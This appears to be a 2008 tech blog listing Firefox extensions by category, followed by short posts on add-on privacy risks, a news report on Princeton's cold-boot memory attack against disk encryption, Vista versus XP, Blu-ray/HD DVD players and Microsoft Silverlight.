MediaPlayerConnectivity - Allow you to launch embed video of website in an external application with a simple click.
Torrent Finder Toolbar - Torrent Finder Toolbar is a torrent search toolbar for Firefox, which enables users to search over 100 top torrent sites and trackers from their Firefox browser the same way they used to search using http://torrent-finder.com form. It allows users to search a single site, search all sites on one page, or open the sites in Firefox tabs.
TorrentBar - BitTorrent File Search Toolbar for Firefox. Allows to search numerous sites in a matter of minutes for needed torrent files.
FoxGame - Enhance user experience with O-game (now works in every o-game version)
Adds a lot of features to the webgame O-game. It also integrates Database features inside the game. O-Game, is a real-time spacial browser game.
Wizz RSS News Reader - A fairly good RSS and Atom news reader.

Kiosk Browsing:

Gspace - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.
All-in-One Sidebar - All-in-One Sidebar (AiOS) is a sidebar control, inspired by Opera's. Click on the left edge of your browser window to open the sidebar and get easy access to all your panels. It lets you quickly switch between sidebar panels, view dialog windows such as downloads, extensions, and more in the sidebar, or view source or websites in the sidebar.
Dictionary Tooltip - Press ctrl+shift+D (or) double-click (or) right-click after selecting a word to see its meaning. This extension is ideal for those who doesn't like to switch their window to see the meaning of a word.
FireFoxMenuButtons - Adds 41 new Buttons (duplicating of menu strings) from Firefox Menu on the Toolbar! Look for this buttons (after installing) on the "Customize toolbar" (Menu/View/Toolbars/Customize...).
Public Fox - Tired of cleaning stuff people download? Use this to limit file downloading. Prevent browser changes, block unwanted Web Sites.
Firefox Google Bookmarks - Creates a menu to access google bookmarks from any computer. Needs Google Account to use this extension.
Personal Menu - Feel tired of the conservative menus, and have tried to put them into a single menu but never want to waste time on one more click?
Full Fullscreen - Hides remaining toolbars that the normal fullscreen functionality does not. Hiding the tab bar, as well as starting up on fullscreen, are configurable from the settings dialog. Licensed under MPL.
gladder - Get over Great Firewall with Great Ladder!
R-kiosk - Real Kiosk is a Firefox 2.0 extension that defaults to full screen, disables all menus, toolbars, key commands and right button menus. Alt+Home still takes you home.

Miscellaneous:

Adblock Plus - Ever been annoyed by all those ads and banners on the internet that often take longer to download than everything else on the page? Install Adblock Plus now and get rid of them. Right-click on a banner and choose "Adblock" from the context menu - the banner won't be downloaded again.
NoScript - Winner of the "2006 PC World World Class Award", this tool provides extra protection to your Firefox. It allows JavaScript, Java and other executable content to run only from trusted domains of your choice, e.g. your home-banking web site.
Forecastfox - Get international weather forecasts from AccuWeather.com, and display it in any toolbar or statusbar with this highly customizable and unobtrusive extension.
IE Tab - Embedding Internet Explorer in tabs of Mozilla/Firefox. This is a great tool for web developers, since you can easily see how your webpage displayed in IE with just one click and then switch back to Firefox.
FoxyTunes - Do you listen to Music while surfing the Web? Now you can control your favorite media player without ever leaving the browser and more.
Fasterfox - Fasterfox allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.
StumbleUpon - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.
Cooliris Previews - Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.
Map+ - View a map of a selected address in Firefox without changing windows or tabs using the right click command.
Clipmarks - With Clipmarks, you can clip the best parts of web pages. Whether it’s a paragraph, sentence, image or video, you can capture just the pieces you want without having to bookmark the entire page.

Privacy and Security:

NoScript - Winner of the "2006 PC World World Class Award", this tool provides extra protection to your Firefox. It allows JavaScript, Java and other executable content to run only from trusted domains of your choice, e.g. your home-banking web site.
Fasterfox - Fasterfox allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.
Cooliris Previews - Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.
Torbutton - Torbutton provides a button to easily enable or disable the browser's use of Tor.
Flashblock - Never be annoyed by a Flash animation again! Blocks Flash so it won't get in your way, but if you want to see it, just click on it.
FoxyProxy - FoxyProxy is an advanced proxy management tool that completely replaces Firefox's proxy configuration.
SwitchProxy Tool - SwitchProxy lets you manage and switch between multiple proxy configurations
quickly and easily. You can also use it as an anonymizer to protect your
computer from prying eyes.
iMacros - Automate your web browser. Record and replay repetitious work.
Firefox Extension Backup Extension - FEBE allows you to quickly and easily backup your Firefox extensions. In fact, it goes beyond just backing up - it will actually rebuild your extensions individually into installable .xpi files. Now you can easily synchronize your office and home browsers.
CustomizeGoogle - CustomizeGoogle is a Firefox extension that enhance Google search results by adding extra information (like links to Yahoo, Ask.com, MSN etc) and removing unwanted information (like ads and spam).

Web Annoyances:

Adblock Plus - Ever been annoyed by all those ads and banners on the internet that often take longer to download than everything else on the page? Install Adblock Plus now and get rid of them.
NoScript - Winner of the "2006 PC World World Class Award", this tool provides extra protection to your Firefox. It allows JavaScript, Java and other executable content to run only from trusted domains of your choice, e.g. your home-banking web site.
IE Tab - Embedding Internet Explorer in tabs of Mozilla/Firefox. This is a great tool for web developers, since you can easily see how your webpage displayed in IE with just one click and then switch back to Firefox.
Fasterfox - Fasterfox allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.
Greasemonkey - Allows you to customize the way a webpage displays using small bits of JavaScript.
Cooliris Previews - Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.
Tab Mix Plus - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.
PDF Download - Allows to choose if you want to view a PDF file inside the browser (as PDF or HTML), if you want to view it outside Firefox with your default or custom PDF reader, or if you want to download it!
Gspace - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.
BlueOrganizer - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.

Contacts:

JAJAH - Web-Activated Telephony - The JAJAH extension for Firefox integrates call functionality into your browser. Phone numbers on web pages are automatically detected and highlighted. When clicked, JAJAH initiates a phone call from your phone - landline or mobile - to the desired destination.
LinkedIn Companion - LinkedIn is an online network of more than 7.5 million experienced professionals. LinkedIn helps you be more effective in your daily work and opens doors to opportunities by helping you develop and manage your network of business contacts.
ReminderFox - ReminderFox is an extension that displays and manages lists of date-based reminders and ToDo's. ReminderFox does not seek to be a full-fledged calendar system. In fact, the target audience is anybody that simply wants to remember important dates (birthdays, anniversaries, etc) without having to run a fat calendar application.
Email This - Email This! (formerly known as GMail This!) will send your recipient the link, title, & highlighted text of the page you are viewing using GMail, Yahoo, and Stand-Alone Mail Clients like Outlook Express, Thunderbird, & More!
FireFoxMenuButtons - Adds 41 new Buttons (duplicating of menu strings) from Firefox Menu on the Toolbar! Look for this buttons (after installing) on the "Customize toolbar" (Menu/View/Toolbars/Customize...).
GTDGmail - GTDGmail discreetly integrates into Gmail making it even more suitable as a GTD tool.
Facebook Toolbar - Integrate your Facebook life into your browser.
WataCrackaz AutoSMS - Watacrackaz AutoSMS toolbar. Send and receive SMS text messages to and from cellphones around the world.
Skype Sidebar - Skype Sidebar allows you to call, add, find, chat, and voice mail other contacts without even leaving your browser. Skype Sidebar lets you see the status of your contacts and quickly chat with them. It saves you time, allows you to quickly send files, and also view contacts information. You can even start conference calls. You can customize the width of the Skype object.
SMS Send - ABC SMS Send is a toolbar that allows you to send SMS text messages to over 170 countries.

Download Tools:

Download Statusbar - View and manage downloads from a tidy statusbar - without the download window getting in the way of your web browsing.
FlashGot - Download one link, selected links or all the links of a page together at the maximum speed with a single click, using the most popular, lightweight and reliable external download managers.
VideoDownloader - Download videos from Youtube, Google, Metacafe, iFilm, Dailymotion, Pornotube... and other 60+ video sites! And all embedded objects on a webpage (movies, mp3s, flash, quicktime, etc).
FireFTP - FireFTP is a free, secure, cross-platform FTP client for Mozilla Firefox which provides easy and intuitive access to FTP servers.
DownThemAll - The first and only download manager/accelerator built inside Firefox!
PDF Download - Allows to choose if you want to view a PDF file inside the browser (as PDF or HTML), if you want to view it outside Firefox with your default or custom PDF reader, or if you want to download it!
Media Pirate - The video downloader - More and more websites publish their videos in those neat flash players. But if you want to download a video there is no download link. This doesn't mean that you can't download it. Media Pirate creates a download link for you!
Gspace - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.
Firefox Companion for Kodak EasyShare Gallery - Organizing and sharing your pictures is easier than ever with Firefox Companion for Kodak EasyShare Gallery. Upload photos directly to your Kodak EasyShare Gallery, all within your browser. Drag, drop and arrange pictures adding photo titles, and create albums by multi-selecting photos - all of this without interrupting your Internet browsing.

Humor:

Tab Effect - Add effects when current tab is changed.
Splash - Adds a splash screen to most Mozilla and Mozilla Based products.
Firefox Google Bookmarks - Creates a menu to access google bookmarks from any computer. Needs Google Account to use this extension.
President Bush Countdown - A timer that counts down the number of days remaining in George W. Bush's term as President of the United States. Clicking on the countdown shows a more detailed timer and enables people to air their grievances on newprez.com. An icon shows when there is a new topic for discussion or a vote.
Usage Counter - Tells you how much time you have spent using Firefox and browsing sites. (Previously known as Wasted Time Counter).
Bork Bork Bork - View web pages or mail as spoken by the Swedish Chef like this: "Feeoo veb peges oor meeel es spukee by zee Svedeesh Cheff."
Anglais - This extension provides proverbs and jokes to better learn English.
STOP! Hammer Time - Adds 'STOP! Hammer Time!' functionality to Firefox - Simply go to "view -> toolbars -> customize" and swap your stop button for the 'STOP! Hammer Time!' button. Now you can hear MC Hammer whenever a page needs stopping!
Sun Cult - Worldwide Sunrise, Sunset, Twilight, Moonrise and Moonset Times.
ghostfox - Stylises Firefox into Ghostzilla (The Invisible Browser) style. Move your mouse away and firefox disappears. Then move it towards the left edge of the screen, back to the right and again to the left and voila - firefox is back again, discretely blended with ur original application to appear like a part of it.

Navigation:

IE Tab - Embedding Internet Explorer in tabs of Mozilla/Firefox. This is a great tool for web developers, since you can easily see how your webpage displayed in IE with just one click and then switch back to Firefox.
Fasterfox - Fasterfox allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.
StumbleUpon - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.
Map+ - View a map of a selected address in Firefox without changing windows or tabs using the right click command.
Tab Mix Plus - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.
Yoono - Yoono instantly suggests similar sites, blog notes and people sharing the same interests while you are surfing, for each page you open. Zero effort required - no more tagging, typing keywords or changing interface. Let Yoono bring you the best that others have discovered.
PDF Download - Allows to choose if you want to view a PDF file inside the browser (as PDF or HTML), if you want to view it outside Firefox with your default or custom PDF reader, or if you want to download it!
BlueOrganizer - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.
Firefox Showcase - Showcase provides a new way to manage your Firefox tabs and windows by showing them as thumbnails in a single window, tab or sidebar. Includes a find bar that will filter the thumbnails, and the capability to select the thumbnails in the same way you would select files in your system.
Mouse Gestures - Allows you to execute common commands (like page forward/backward, close tab, new tab) by mouse gestures drawn over the current webpage, without reaching for the toolbar or the keyboard.

Website Integration:

VideoDownloader - Download videos from Youtube, Google, Metacafe, iFilm, Dailymotion, Pornotube... and other 60+ video sites! And all embedded objects on a webpage (movies, mp3s, flash, quicktime, etc).
StumbleUpon - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.
del.icio.us Bookmarks - This extension integrates your browser with del.icio.us (http://del.icio.us/), the leading social bookmarking service on the Web. It does this by augmenting the bookmarking functionality in Firefox with an enhanced experience.
Greasemonkey - Allows you to customize the way a webpage displays using small bits of JavaScript.
Yoono - Yoono instantly suggests similar sites, blog notes and people sharing the same interests while you are surfing, for each page you open. Zero effort required - no more tagging, typing keywords or changing interface.
Firefox Companion for Kodak EasyShare Gallery - Organizing and sharing your pictures is easier than ever with Firefox Companion for Kodak EasyShare Gallery. Upload photos directly to your Kodak EasyShare Gallery, all within your browser. Drag, drop and arrange pictures adding photo titles, and create albums by multi-selecting photos - all of this without interrupting your Internet browsing.
DownloadHelper - DownloadHelper is a tool for web content extraction. Its purpose is to capture video and image files from many sites.
Performancing - Performancing for Firefox is a full featured blog editor that sits right in your Firefox browser and lets you post to your blog easily. You can drag and drop formatted text from the page you happen to be browsing, and take notes as well as post to your blog.
LinkedIn Companion - LinkedIn is an online network of more than 7.5 million experienced professionals. LinkedIn helps you be more effective in your daily work and opens doors to opportunities by helping you develop and manage your network of business contacts.
Fast Video Download - Fast Video Download can save embedded video files from video-hosting servers.

Enjoy the best firefox extensions!

Firefox add-ons

2008-02-23T07:51:00.000-08:00

Firefox add-ons are extensions to the modern browser Mozilla Firefox. Firefox is known to be the most secure browser around.It is also the favorite browser of millions. Also the Add-ons surely increase the functionality of the browser. But it can be different if you don't use/select these add-ons carefully. Using add-ons from untrusted publishers can result in the stealing of your private informations, email user ID and passwords, other the forms that you fill out during the course of browsing, the url's that you visit...!!!

Computer Memory Vulnerable to Hacking

2008-02-23T07:50:00.000-08:00

Want to break into a computer's encrypted hard drive? Just blast the machine's memory chip with a burst of cold air.

That's the conclusion of new research out of Princeton University demonstrating a novel, low-tech way hackers can access even the most well-protected computers, provided they have physical access to the machines.

The Princeton report shows how encryption, long considered a vital shield against hacker attacks, can be defeated by manipulating the way memory chips work. The researchers say the ease of their attack raises fears about the security of laptop computers increasingly used to store sensitive information, from personal banking data, to company trade secrets, to national security documents.

Freezing a dynamic random access memory, or DRAM, chip, the most common type of memory chip in personal computers, causes it to retain data for minutes or even hours after the machine loses power, the report found. That data includes the keys to unlock encryption. Without freezing, the chip loses its contents within seconds.

Hackers can steal information stored in memory by rebooting the compromised machine with a simple program designed to copy the memory contents - before the computer has a chance to purge sensitive data, according to the study.

Laptops left in hibernation or sleep mode, or simply not turned off at all, are the most vulnerable to the new type of attack.

"These risks imply that disk encryption on laptops may do less good than widely believed," according to the report, which was published this week by researchers from Princeton, the Electronic Frontier Foundation digital rights group, and Wind River Systems software company. "Ultimately, it might become necessary to treat DRAM as untrusted, and to avoid storing sensitive confidential data there, but this will not be feasible until architectures are changed to give software a safe place to keep its keys."

Researchers have known since the 1970s that cooled DRAM chips can retain their contents long after power to them is extinguished, but the researchers said they believe their study is the first security paper to focus on the phenomenon. National security agencies may also have been aware that the types of breaches outlined in the study are possible, the researchers said, but added they weren't able to find evidence of that in any publications.

The attacks were carried out by spraying an upside-down canister of multipurpose duster spray directly onto the memory chips, freezing them to minus 50 degrees Celsius, about minus 60 Fahrenheit.

One challenge faced by the researchers was the threat that booting the system will automatically overwrite some parts of the memory. To make sure the contents were retained, they used small, special-purpose programs known as memory-imaging tools, which can be loaded over a network connection or a USB device, to save images captured from the memory chip. The attacks even work when the DRAM chip is removed and transferred to a machine set up by the hacker.

Special programs were then used to correct errors in the recovered memory contents and reconstruct the keys used for encryption.

The researchers said their results suggest that "this faith in the strength of disk encryption may be misplaced," arguing that a moderately skilled attacker can bypass many widely used encryption products - including BitLocker, included with some versions of Windows Vista; Apple's FileVault; open-source TrueCrypt; and dm-crypt - if a laptop is stolen while it is powered on or suspended.

"The use of encryption is not, by itself, necessarily an adequate defense, and data in stolen laptops may be compromised even when encryption is used," the researchers said.

Microsoft Vista vs XP

2008-02-23T07:19:00.000-08:00

Its Vista vs XP now!!!

After more a year of its launch, Microsoft Windows Vista is facing challenge from its on own predecessor, Windows XP.
One of the for it is its cost. In company running all XP, it is not easy for upgrade. If you buy a new PC for you company running Windows Vista, then it would mean you might have replace or buy the peripheral like Scanner, printer etc. Which means, the existing peripherals wont work with vista. Unlike xp, when it was launched xp doesn't require any addition driver for up to date peripherals. As in the case of Vista, it doesn't even support the peripherals!!!

Blu-ray cum HD DVD Player

2008-02-23T07:09:00.000-08:00

The battle between Blue ray and HD DVD might have ended, but this has turned down atleast some of the HD DVD player manufactures and buyers! This is just because majority of them were Blu-ray cum HD DVD Players. This is the latest trend of the manufactures.

The LG BH200 is a decent player with a good 1080p resolution and quality playback performance. The cost of the player is around $700. This has capability to display super 7 megapixel images but doesnt do too well on 10 mega pixel ones.

Microsoft Silver light

2008-02-23T06:48:00.000-08:00

Microsoft introduced silver light as a technology alternative to formerly Macromedia's flash. Microsoft integrated it with microsoft's .NET frame work technology. It gives it a rich interactive experience.

The below is an extract of what Microsoft claims about silver light:-
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Microsoft® Silverlight™ is a cross-browser, cross-platform plug-in for delivering the next generation of .NET based media experiences and rich interactive applications for the Web. Silverlight offers a flexible programming model that supports AJAX, VB, C#, Python, and Ruby, and integrates with existing Web applications. Silverlight supports fast, cost-effective delivery of high-quality video to all major browsers running on the Mac OS or Windows.

Experience Silverlight 2.0
Look ahead to the next generation of Silverlight 2.0 controls: Charts, Image Sliders and more. You will be able to create apps having:

* Richly compelling experiences.
* Real relevance for business.
* Interop with ASP.NET and AJAX.

Infragistics Labs created an exciting demo showcasing the future of Web design and development. Come visualize all of the great possibilities with us.

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Like to see website designed in silver light

silverlight.net